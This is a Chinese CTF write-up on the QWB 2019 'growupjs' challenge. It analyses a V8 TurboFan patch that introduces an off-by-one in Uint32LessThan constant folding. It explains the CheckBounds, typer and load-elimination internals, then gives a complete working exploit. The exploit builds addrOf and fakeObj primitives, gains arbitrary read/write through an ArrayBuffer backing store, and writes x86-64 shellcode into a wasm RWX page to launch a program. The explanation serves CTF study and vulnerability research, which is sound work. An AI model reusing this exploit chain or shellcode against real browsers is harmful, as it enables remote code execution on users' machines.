QWB CTF 2019 growupjs

由于Patch的改动导致了Off-by-one,通过它实现一个完整的OOB利用。


环境准备

$ cat challenge.diff
1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/src/compiler/machine-operator-reducer.cc b/src/compiler/machine-operator-reducer.cc
index a6a8e87cf4..164ab44fab 100644
--- a/src/compiler/machine-operator-reducer.cc
+++ b/src/compiler/machine-operator-reducer.cc
@@ -291,7 +291,7 @@ Reduction MachineOperatorReducer::Reduce(Node* node) {
if (m.left().Is(kMaxUInt32)) return ReplaceBool(false); // M < x => false
if (m.right().Is(0)) return ReplaceBool(false); // x < 0 => false
if (m.IsFoldable()) { // K < K => K
- return ReplaceBool(m.left().Value() < m.right().Value());
+ return ReplaceBool(m.left().Value() < m.right().Value() + 1);
}
if (m.LeftEqualsRight()) return ReplaceBool(false); // x < x => false
if (m.left().IsWord32Sar() && m.right().HasValue()) {
$ git apply ./challenge.diff

比赛当时使用的是最新的Chrome,我这里使用的v8与其环境不同,在wasmInstance到rwxAddrLoc的偏移有所差距。

漏洞分析

Patch

1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/src/compiler/machine-operator-reducer.cc b/src/compiler/machine-operator-reducer.cc
index a6a8e87cf4..164ab44fab 100644
--- a/src/compiler/machine-operator-reducer.cc
+++ b/src/compiler/machine-operator-reducer.cc
@@ -291,7 +291,7 @@ Reduction MachineOperatorReducer::Reduce(Node* node) {
if (m.left().Is(kMaxUInt32)) return ReplaceBool(false); // M < x => false
if (m.right().Is(0)) return ReplaceBool(false); // x < 0 => false
if (m.IsFoldable()) { // K < K => K
- return ReplaceBool(m.left().Value() < m.right().Value());
+ return ReplaceBool(m.left().Value() < m.right().Value() + 1);
}
if (m.LeftEqualsRight()) return ReplaceBool(false); // x < x => false
if (m.left().IsWord32Sar() && m.right().HasValue()) {

该Patch只增加了两个字符,其作用于MachineOperatorReducer,是TurboFan优化的较晚阶段。
在其过程中被优化为左值<右值这个表达式,一个永真或永假的值。编译器会尝试把确定性的比较操作直接优化为一个布尔常量。
例如对于任意的xkMaxUInt32 < x被折叠为False,对于常数之间4 < 4也会被折叠为False
而由于Patch的引入,右数被加了一,原本4 < 4变成了4 < 5,被错误折叠为Ture

CheckBound优化流程

在这里我们有必要了解一下CheckBound优化流程。
simplified-lowering阶段,[1]CheckBound节点设置kAbortOnOutOfBounds模式并在[2]处被设置为CheckedUint32Bounds

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
  void VisitCheckBounds(Node* node, SimplifiedLowering* lowering) {
CheckParameters const& p = CheckParametersOf(node->op());
Type const index_type = TypeOf(node->InputAt(0));
Type const length_type = TypeOf(node->InputAt(1));
if (length_type.Is(Type::Unsigned31())) {
if (index_type.Is(Type::Integral32OrMinusZero())) {
// Map -0 to 0, and the values in the [-2^31,-1] range to the
// [2^31,2^32-1] range, which will be considered out-of-bounds
// as well, because the {length_type} is limited to Unsigned31.
VisitBinop(node, UseInfo::TruncatingWord32(),
MachineRepresentation::kWord32);
if (lower()) {
CheckBoundsParameters::Mode mode =
CheckBoundsParameters::kDeoptOnOutOfBounds;
if (lowering->poisoning_level_ ==
PoisoningMitigationLevel::kDontPoison &&
(index_type.IsNone() || length_type.IsNone() ||
(index_type.Min() >= 0.0 &&
index_type.Max() < length_type.Min()))) {
// The bounds check is redundant if we already know that
// the index is within the bounds of [0.0, length[.
mode = CheckBoundsParameters::kAbortOnOutOfBounds; // [1]
}
NodeProperties::ChangeOp(
node, simplified()->CheckedUint32Bounds(p.feedback(), mode)); // [2]
}
// [...]
}

Effect linearization阶段,CheckedUint32Bounds节点会被优化成Uint32LessThan节点,并绑定上其TrueFalse分支。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Node* EffectControlLinearizer::LowerCheckedUint32Bounds(Node* node,
Node* frame_state) {
Node* index = node->InputAt(0);
Node* limit = node->InputAt(1);
const CheckBoundsParameters& params = CheckBoundsParametersOf(node->op());

Node* check = __ Uint32LessThan(index, limit);
switch (params.mode()) {
case CheckBoundsParameters::kDeoptOnOutOfBounds:
__ DeoptimizeIfNot(DeoptimizeReason::kOutOfBounds,
params.check_parameters().feedback(), check,
frame_state, IsSafetyCheck::kCriticalSafetyCheck);
break;
case CheckBoundsParameters::kAbortOnOutOfBounds: {
auto if_abort = __ MakeDeferredLabel();
auto done = __ MakeLabel();

__ Branch(check, &done, &if_abort);

__ Bind(&if_abort);
__ Unreachable();
__ Goto(&done);

__ Bind(&done);
break;
}
}

return index;
}

lateoptimize阶段,则被优化为左值 < 右值这个表达式,即一个True或者False条件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// Perform constant folding and strength reduction on machine operators.
Reduction MachineOperatorReducer::Reduce(Node* node) {
switch (node->opcode()) {
// [...]
case IrOpcode::kUint32LessThan: {
Uint32BinopMatcher m(node);
if (m.left().Is(kMaxUInt32)) return ReplaceBool(false); // M < x => false
if (m.right().Is(0)) return ReplaceBool(false); // x < 0 => false
if (m.IsFoldable()) { // K < K => K
return ReplaceBool(m.left().Value() < m.right().Value());
}
if (m.LeftEqualsRight()) return ReplaceBool(false); // x < x => false
if (m.left().IsWord32Sar() && m.right().HasValue()) {
Int32BinopMatcher mleft(m.left().node());
if (mleft.right().HasValue()) {
// (x >> K) < C => x < (C << K)
// when C < (M >> K)
const uint32_t c = m.right().Value();
const uint32_t k = mleft.right().Value() & 0x1F;
if (c < static_cast<uint32_t>(kMaxInt >> k)) {
node->ReplaceInput(0, mleft.left().node());
node->ReplaceInput(1, Uint32Constant(c << k));
return Changed(node);
}
// TODO(turbofan): else the comparison is always true.
}
}
break;
}

POC

虚假的POC

测试POC如下

1
2
3
4
5
6
7
8
9
10
11
function opt() {
let arr = [0, 1, 2, 3];
let idx = 4;
return arr[idx];
}
for(var i=0; i < 0x10000; i++)
opt()

var x = opt()
console.log(x)
`

~/browser/v8/out.gn/x64.release/d8 ./poc.js
运行后却并没有出现想象中的OOB,而是打印了undefined

我们通过--trace-turbo对优化过程的IR进行记录。
001
可以看到在loop peeling阶段,其中34节点是比较,37节点是LoadElement,实际上就是执行arr[idx]
002
load elimination阶段,上面所述的两个节点却被删除了。

具体了解一下load elimination阶段做了什么。
以下部分内容以及相关思路来自p4nda师傅的文章
首先以AddReducer方法添加了10个reducer,并在最后调用graph_reducer.ReduceGraph()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
struct LoadEliminationPhase {
static const char* phase_name() { return "load elimination"; }

void Run(PipelineData* data, Zone* temp_zone) {
GraphReducer graph_reducer(temp_zone, data->graph(),
data->jsgraph()->Dead());
BranchElimination branch_condition_elimination(&graph_reducer,
data->jsgraph(), temp_zone);
DeadCodeElimination dead_code_elimination(&graph_reducer, data->graph(),
data->common(), temp_zone);
RedundancyElimination redundancy_elimination(&graph_reducer, temp_zone);
LoadElimination load_elimination(&graph_reducer, data->jsgraph(),
temp_zone);
CheckpointElimination checkpoint_elimination(&graph_reducer);
ValueNumberingReducer value_numbering(temp_zone, data->graph()->zone());
CommonOperatorReducer common_reducer(&graph_reducer, data->graph(),
data->broker(), data->common(),
data->machine(), temp_zone);
TypedOptimization typed_optimization(&graph_reducer, data->dependencies(),
data->jsgraph(), data->broker());
ConstantFoldingReducer constant_folding_reducer(
&graph_reducer, data->jsgraph(), data->broker());
TypeNarrowingReducer type_narrowing_reducer(&graph_reducer, data->jsgraph(),
data->broker());
AddReducer(data, &graph_reducer, &branch_condition_elimination);
AddReducer(data, &graph_reducer, &dead_code_elimination);
AddReducer(data, &graph_reducer, &redundancy_elimination);
AddReducer(data, &graph_reducer, &load_elimination);
AddReducer(data, &graph_reducer, &type_narrowing_reducer);
AddReducer(data, &graph_reducer, &constant_folding_reducer);
AddReducer(data, &graph_reducer, &typed_optimization);
AddReducer(data, &graph_reducer, &checkpoint_elimination);
AddReducer(data, &graph_reducer, &common_reducer);
AddReducer(data, &graph_reducer, &value_numbering);
graph_reducer.ReduceGraph();
}
};

我们接着查看graph_reducer.ReduceGraph(),分别对每个节点调用上述添加的10个Reduce方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Reduction GraphReducer::Reduce(Node* const node) {
auto skip = reducers_.end();
for (auto i = reducers_.begin(); i != reducers_.end();) {
if (i != skip) {
Reduction reduction = (*i)->Reduce(node);
if (!reduction.Changed()) {
// No change from this reducer.
} else if (reduction.replacement() == node) {
// {replacement} == {node} represents an in-place reduction. Rerun
// all the other reducers for this node, as now there may be more
// opportunities for reduction.
if (FLAG_trace_turbo_reduction) {
StdoutStream{} << "- In-place update of " << *node << " by reducer "
<< (*i)->reducer_name() << std::endl;
}
skip = i;
i = reducers_.begin();
continue;
} else {
// {node} was replaced by another node.
if (FLAG_trace_turbo_reduction) {
StdoutStream{} << "- Replacement of " << *node << " with "
<< *(reduction.replacement()) << " by reducer "
<< (*i)->reducer_name() << std::endl;
}
return reduction;
}
}
++i;
}
if (skip == reducers_.end()) {
// No change from any reducer.
return Reducer::NoChange();
}
// At least one reducer did some in-place reduction.
return Reducer::Changed(node);
}

使用trace-turbo-reduction对节点的修改和替换细节进行分析。
我们重点观察上面消失的34和37两个节点。

- In-place update of 34: NumberLessThan(33, 16) by reducer TypeNarrowingReducer
- Replacement of 34: NumberLessThan(33, 16) with 45: HeapConstant[0x0999a0780709 <false>] by reducer ConstantFoldingReducer
- In-place update of 35: Branch[True|CriticalSafetyCheck](45, 12) by reducer BranchElimination
- Replacement of 35: Branch[True|CriticalSafetyCheck](45, 12) with 60: Dead by reducer CommonOperatorReducer
- Replacement of 37: LoadElement[tagged base, 16, Signed32, kRepTaggedSigned|kTypeInt32, FullWriteBarrier](49, 33, 33, 60) with 60: Dead by reducer DeadCodeElimination

第二行可以看见34节点被替换成了HeapConstant <false>,使得35节点得True分支变为不可达,即37节点被DeadCodeElimination清除,所以不能够到达LoadElement节点。
那么为什么会被直接替换成False呢?
我们首先跟踪TypeNarrowingReducer,当opcodekNumberLessThan时,如果left_type.Min() >= right_type.Max()即左节点最小值大于等于右节点最大值,则类型被优化为op_typer_.singleton_false()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Reduction TypeNarrowingReducer::Reduce(Node* node) {
DisallowHeapAccess no_heap_access;

Type new_type = Type::Any();

switch (node->opcode()) {
case IrOpcode::kNumberLessThan: {
// TODO(turbofan) Reuse the logic from typer.cc (by integrating relational
// comparisons with the operation typer).
Type left_type = NodeProperties::GetType(node->InputAt(0));
Type right_type = NodeProperties::GetType(node->InputAt(1));
if (left_type.Is(Type::PlainNumber()) &&
right_type.Is(Type::PlainNumber())) {
if (left_type.Max() < right_type.Min()) {
new_type = op_typer_.singleton_true();
} else if (left_type.Min() >= right_type.Max()) {
new_type = op_typer_.singleton_false();
}
}
break;
}
//[...]
Type original_type = NodeProperties::GetType(node);
Type restricted = Type::Intersect(new_type, original_type, zone());
if (!original_type.Is(restricted)) {
NodeProperties::SetType(node, restricted);
return Changed(node);
}
return NoChange();
}

可以看到左节点为33,右节点为16。可以从IR中看到33节点的值范围为[4,4],右节点是NumberConstant[4],即常数值4。
ConstantFoldingReducer::Reduce中34节点被替换为HeapConstant

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Reduction ConstantFoldingReducer::Reduce(Node* node) {
DisallowHeapAccess no_heap_access;
// Check if the output type is a singleton. In that case we already know the
// result value and can simply replace the node if it's eliminable.
if (!NodeProperties::IsConstant(node) && NodeProperties::IsTyped(node) &&
node->op()->HasProperty(Operator::kEliminatable)) {
// TODO(v8:5303): We must not eliminate FinishRegion here. This special
// case can be removed once we have separate operators for value and
// effect regions.
if (node->opcode() == IrOpcode::kFinishRegion) return NoChange();
// We can only constant-fold nodes here, that are known to not cause any
// side-effect, may it be a JavaScript observable side-effect or a possible
// eager deoptimization exit (i.e. {node} has an operator that doesn't have
// the Operator::kNoDeopt property).
Type upper = NodeProperties::GetType(node);
if (!upper.IsNone()) {
Node* replacement = nullptr;
if (upper.IsHeapConstant()) {
replacement = jsgraph()->Constant(upper.AsHeapConstant()->Ref());
//[...]
if (replacement) {
// Make sure the node has a type.
if (!NodeProperties::IsTyped(replacement)) {
NodeProperties::SetType(replacement, upper);
}
ReplaceWithValue(node, replacement);
return Changed(replacement);
}
}
}
return NoChange();
}

如果想要触发OOB,我们就要从33和16两个节点来考虑。
16节点的值是element的长度,所以我们只能考虑33节点。
33节点是CheckBounds,我们从Typer阶段看起。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
  Reduction Reduce(Node* node) override {
if (node->op()->ValueOutputCount() == 0) return NoChange();
switch (node->opcode()) {
#define DECLARE_CASE(x) \
case IrOpcode::k##x: \
return UpdateType(node, TypeBinaryOp(node, x##Typer));
JS_SIMPLE_BINOP_LIST(DECLARE_CASE)
#undef DECLARE_CASE

#define DECLARE_CASE(x) \
case IrOpcode::k##x: \
return UpdateType(node, Type##x(node));
DECLARE_CASE(Start)
DECLARE_CASE(IfException)
// VALUE_OP_LIST without JS_SIMPLE_BINOP_LIST:
COMMON_OP_LIST(DECLARE_CASE)
SIMPLIFIED_COMPARE_BINOP_LIST(DECLARE_CASE)
SIMPLIFIED_OTHER_OP_LIST(DECLARE_CASE) // [1]
JS_SIMPLE_UNOP_LIST(DECLARE_CASE)
JS_OBJECT_OP_LIST(DECLARE_CASE)
JS_CONTEXT_OP_LIST(DECLARE_CASE)
JS_OTHER_OP_LIST(DECLARE_CASE)

[1]处有一个SIMPLIFIED_OTHER_OP_LIST宏定义,定义如下:

1
2
3
4
5
#define SIMPLIFIED_OTHER_OP_LIST(V)     \
V(PlainPrimitiveToNumber) \
......
V(CheckBounds) \
V(CheckIf) \

变成如下表示:

1
2
case IrOpcode::kCheckBounds:  \
return UpdateType(node, TypeCheckBounds(node));

TypeCheckBounds(node)如下表示:

1
2
3
4
Type Typer::Visitor::TypeCheckBounds(Node* node) {
return typer_->operation_typer_.CheckBounds(Operand(node, 0),
Operand(node, 1));
}

其中又调用了CheckBounds()。其中index是实际的范围,length控制最大边界。最后返回indexmask的交集。

1
2
3
4
5
6
7
8
9
Type OperationTyper::CheckBounds(Type index, Type length) {
DCHECK(length.Is(cache_.kPositiveSafeInteger));
if (length.Is(cache_.kSingletonZero)) return Type::None();
Type mask = Type::Range(0.0, length.Max() - 1, zone());
if (index.Maybe(Type::MinusZero())) {
index = Type::Union(index, cache_.kSingletonZero, zone());
}
return Type::Intersect(index, mask, zone());
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
Type Type::Intersect(Type type1, Type type2, Zone* zone) {
// Fast case: bit sets.
if (type1.IsBitset() && type2.IsBitset()) {
return NewBitset(type1.AsBitset() & type2.AsBitset());
}

// Fast case: top or bottom types.
if (type1.IsNone() || type2.IsAny()) return type1; // Shortcut.
if (type2.IsNone() || type1.IsAny()) return type2; // Shortcut.

// Semi-fast case.
if (type1.Is(type2)) return type1;
if (type2.Is(type1)) return type2;

// Slow case: create union.

// Semantic subtyping check - this is needed for consistency with the
// semi-fast case above.
if (type1.Is(type2)) {
type2 = Any();
} else if (type2.Is(type1)) {
type1 = Any();
}

bitset bits = type1.BitsetGlb() & type2.BitsetGlb();
int size1 = type1.IsUnion() ? type1.AsUnion()->Length() : 1;
int size2 = type2.IsUnion() ? type2.AsUnion()->Length() : 1;
int size;
if (base::bits::SignedAddOverflow32(size1, size2, &size)) return Any();
if (base::bits::SignedAddOverflow32(size, 2, &size)) return Any();
UnionType* result = UnionType::New(size, zone);
size = 0;

// Deal with bitsets.
result->Set(size++, NewBitset(bits));

RangeType::Limits lims = RangeType::Limits::Empty();
size = IntersectAux(type1, type2, result, size, &lims, zone);

// If the range is not empty, then insert it into the union and
// remove the number bits from the bitset.
if (!lims.IsEmpty()) {
size = UpdateRange(Type::Range(lims, zone), result, size, zone);

// Remove the number bits.
bitset number_bits = BitsetType::NumberBits(bits);
bits &= ~number_bits;
result->Set(0, NewBitset(bits));
}
return NormalizeUnion(result, size, zone);
}

对于前面的POC相关的CheckBoundsIR如下图:
003
最终取[4,4][0,2147483646]的交集,返回[4,4]
此后在loop peelingNumberLessThan的输入为[4,4]以及常数[4],左边操作数的最小值4满足>= 常数[4]导致left_type.Min() >= right_type.Max()从而被优化为HeapConstant <false>True分支不可达所以被剪掉了。

真正的POC

想要触发OOB,就不能让LoadElement消失,也就是要能让CheckBounds返回的范围最小值严格小于Elementlength
所以我们要对CheckBounds的第一个输入进行一定的修改。
在原本的测试POC中,我们直接赋值index = 4导致该节点Range(4,4)为一个数字常量。
长亭的分析文章中,了解了两种绕过它(常数折叠)的方法。

方法1

第一种方法是给index添加一点算术运算。

1
2
3
4
5
6
7
8
function opt(){
let arr = [1.1, 2, 3, 5]

let idx = 4;
idx &= 0xfff;
return arr[idx];
}
`

这样会在原来NumberConstant[4]下面增加一个SpeculativeNumberBitwiseAnd节点,然后在进入CheckBounds节点,此时CheckBounds返回的是[0,4]LoadElement在这样的情况下不会消失,可以成功触发OOB。
004
以下是SpeculativeNumberBitwiseAnd节点在Typer的实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Type OperationTyper::NumberBitwiseAnd(Type lhs, Type rhs) {
DCHECK(lhs.Is(Type::Number()));
DCHECK(rhs.Is(Type::Number()));

lhs = NumberToInt32(lhs);
rhs = NumberToInt32(rhs);

if (lhs.IsNone() || rhs.IsNone()) return Type::None();

double lmin = lhs.Min();
double rmin = rhs.Min();
double lmax = lhs.Max();
double rmax = rhs.Max();
double min = kMinInt;
// And-ing any two values results in a value no larger than their maximum.
// Even no larger than their minimum if both values are non-negative.
double max =
lmin >= 0 && rmin >= 0 ? std::min(lmax, rmax) : std::max(lmax, rmax);
// And-ing with a non-negative value x causes the result to be between
// zero and x.
if (lmin >= 0) {
min = 0;
max = std::min(max, lmax);
}
if (rmin >= 0) {
min = 0;
max = std::min(max, rmax);
}
return Type::Range(min, max, zone());
}

lminlmax为4,rminrmax为255,可以看到返回的值范围是[0,4]

方法2

第二种方法是逃逸分析,因为逃逸分析在LoadElimination和MachineOperatorReducer之间,所以我们可以把一个常数放在非逃逸对象中来避免常数折叠。

1
2
3
4
5
6
function opt(){
let arr = [1.1, 2, 3, 5];

let o = {x: 4};
return arr[o.x];
}

IR如下所示:
005
CheckBounds节点的Range最小值为0,可以触发OOB。

漏洞利用

利用思路

构造addrOf原语

想法是当我们传入一个obj,构建arr = [obj, obj, obj]并通过越界修改该arrmapfloatMapObj
我们首先通过obj = [1.1, 2.2, 3.3]获得一个floatMapDouble值。通过偏移获得objMapobjMap = floatMap + 0xa0
构造fakeObj,传入fakeObjaddr,修改map为上面算出来的objMapfakeObj返回的是object类型。
获得floatMapObj,最后构造addrOf,传入obj,修改mapfloatMapObj,返回的float值就是obj的地址。

来自p4nda师傅的tips:这里有一个坑点,就是不能对一个PACKED_ELEMENTS类型的map位置直接写一个double,因为element一共有三种类型,并且是不可逆的改变,向PACKED_ELEMENTS类型的element写double会将double转换为一个HeapNumber,也是一个HeapObject,而非double值本身。

构造完整的OOB利用

构造一个fakeArray,其中存放的是oobArray的信息,获取fakeArray地址之后通过偏移获得它的elements的地址,再把该oobArray的elements改到理想的oobArray开始搜索的位置,这里选择布置在fakeArrayAddr(array和obj之前)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
var fakeArray = [
floatMap, // fake map
tC.u2f(0x0), // fake properties
tC.u2f(0x0), // fake elements
tC.u2f(0x100000000000), // fake length
1.1,
1.2
].slice(0);

var maxSize = 1028 * 8;
var obj = [];
var array = [];
array.push(new ArrayBuffer(0x200));
obj.push({
'a' : tC.u2f(0x1234),
'b' : tC.u2f(0x5678)
});

// get fakeArray address
var fakeArrayAddr = tC.f2u(addrOf(fakeArray));
var oobArrayAddr = fakeArrayAddr - 0x30;
success("oobArrayAddr", oobArrayAddr);
// rewrite oobArray's element with a start_element_addr
fakeArray[2] = tC.u2f(fakeArrayAddr);

var oobArray = fakeObj(tC.u2f(oobArrayAddr));

之后找出可用的oobArray[i],接着就是常规的OOB了。

构造任意地址读写

构造一个稳定的addrOf以及任意地址读写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class ArbitraryRW{
leakObj(newObj){
obj[0].a = newObj;
return tC.f2u(oobArray[controllableObjIdx]);
}
read(addr){
oobArray[controllableArrayBufIdx] = tC.u2f(addr);
let tmp = new Float64Array(array[0],0,0x10);
return tC.f2u(tmp[0]);
}
write(addr, val){
oobArray[controllableArrayBufIdx] = tC.u2f(addr);
let tmp = new Float64Array(array[0],0,0x10);
tmp[0] = tC.u2f(val);
}
}
`

wasm

在复现的环境中,wasmInstance距离存放rwx区域的地址相差0xe8,在不同的环境中这个偏移往往不相同。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
function hex(x)
{
return '0x' + (x.toString(16)).padStart(16, 0);
}

function success(str, val){
console.log("[+] " + str + " -> "+ hex(val));
}

class typeConvert
{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
f2u(val){ //double ==> Uint64
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
u2f(val){ //Uint64 ==> double
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
this.u32.set(tmp);
return this.f64[0];
}
}

var tC = new typeConvert();

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
let wasmFunc = wasmInstance.exports.main;
var globalVal = [];

function getMapOpt(){
let obj = [1.1, 2.2, 3.3];
let arr = [obj, obj, obj];
let tmp = {
oobVal: obj.length
};
return [obj[tmp.oobVal], obj, arr];
}

for(let i=0; i < 0x12000; i++){
getMapOpt();
}

function getMap(){
let tmp = getMapOpt();
globalVal.push(tmp[1]);
globalVal.push(tmp[2]);
return tmp[0];
}

// get float map
var floatMap = getMap();
success("floatMap",tC.f2u(floatMap));

// get obj map by offset
var objMap = tC.u2f(tC.f2u(floatMap)+0xa0);
success("objMap",tC.f2u(objMap));

function fakeObjOpt(fakeObjAddr){
let arr = [fakeObjAddr, fakeObjAddr, fakeObjAddr];
let tmp = {
oobVal : arr.length
};
arr[tmp.oobVal] = objMap;
return arr;
}

for(let i=0; i<0x12000; i++){
fakeObjOpt(floatMap);
}

function fakeObj(fakeObjAddr){
let tmp = fakeObjOpt(fakeObjAddr);
return tmp[0];
}

// get fake obj map object
var floatMapObj = fakeObj(floatMap);
// console.log("floatMapObj "+hex(tC.f2u(floatMapObj)));

// build addrOf primitive
function addrOfOpt(obj){
let arr = [obj, obj, obj];
let tmp = {
oobVal : arr.length
};
arr[tmp.oobVal] = floatMapObj;
return arr;
}

var preObj = {
floatMapObj
};
for(let i=0; i<0x12000; i++){
addrOfOpt(preObj);
}

function addrOf(obj){
let tmp = addrOfOpt(obj);
return tmp[0];
}

// fake obj array
var fakeArray = [
floatMap, // fake map
tC.u2f(0x0), // fake properties
tC.u2f(0x0), // fake elements
tC.u2f(0x100000000000), // fake length
1.1,
1.2
].slice(0);

var maxSize = 1028 * 8;
var obj = [];
var array = [];
array.push(new ArrayBuffer(0x200));
obj.push({
'a' : tC.u2f(0x1234),
'b' : tC.u2f(0x5678)
});

// get fakeArray address
var fakeArrayAddr = tC.f2u(addrOf(fakeArray));
var oobArrayAddr = fakeArrayAddr - 0x30;
success("oobArrayAddr", oobArrayAddr);
// rewrite oobArray's element with a start_element_addr
fakeArray[2] = tC.u2f(fakeArrayAddr);

var oobArray = fakeObj(tC.u2f(oobArrayAddr));
// %DebugPrint(oobArray);

var controllableObjIdx = 0;
for(let i=0; i<maxSize; i++){
if(tC.f2u(oobArray[i]) === 0x1234){
controllableObjIdx = i;
success("controllableObjIdx in oobArray",controllableObjIdx);
break;
}
}

// search backing_store
var controllableArrayBufIdx = 0;
for(let i=0; i<maxSize; i++){
if(tC.f2u(oobArray[i]) === 0x200){
controllableArrayBufIdx = i + 1;
success("Backing_Store in oobArray",controllableArrayBufIdx);
break;
}
}

class ArbitraryRW{
leakObj(newObj){
obj[0].a = newObj;
return tC.f2u(oobArray[controllableObjIdx]);
}
read(addr){
oobArray[controllableArrayBufIdx] = tC.u2f(addr);
let tmp = new Float64Array(array[0],0,0x10);
return tC.f2u(tmp[0]);
}
write(addr, val){
oobArray[controllableArrayBufIdx] = tC.u2f(addr);
let tmp = new Float64Array(array[0],0,0x10);
tmp[0] = tC.u2f(val);
}
}

let wr=new ArbitraryRW();
var wasmInsAddr = wr.leakObj(wasmInstance);
success("wasmInsAddr", wasmInsAddr);

// var wasmInsAddr = addrOf(wasmInstance);
// success("wasmInsAddr", tC.f2u(wasmInsAddr));
// %DebugPrint(wasmInstance);
rwxAddrLoc = wasmInsAddr + 0xe8 - 0x1;
rwxAddr = wr.read(rwxAddrLoc);
success("rwxAddr",rwxAddr);

function showCalc(){
shellcode = [0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0xb8, 0x2f, 0x78, 0x63, 0x61, 0x6c, 0x63, 0x00, 0x00, 0x50, 0x48, 0xb8, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x50, 0x48, 0x89, 0xe7, 0x48, 0x31, 0xc0, 0x50, 0x57, 0x48, 0x89, 0xe6, 0x48, 0x31, 0xd2, 0x48, 0xc7, 0xc0, 0x3a, 0x30, 0x00, 0x00, 0x50, 0x48, 0xb8, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x50, 0x48, 0x89, 0xe2, 0x48, 0x31, 0xc0, 0x50, 0x52, 0x48, 0x89, 0xe2, 0x48, 0xc7, 0xc0, 0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x00];
for(let i=0;i<shellcode.length;i++){
wr.write(rwxAddr+i,shellcode[i]);
}
wasmFunc();
}

showCalc();

006

参考链接

  1. QWB CTF 2019 growupjs解题思路
  2. 利用边界检查消除破解Chrome JIT编译器
  3. Circumventing Chrome’s hardening of typer bugs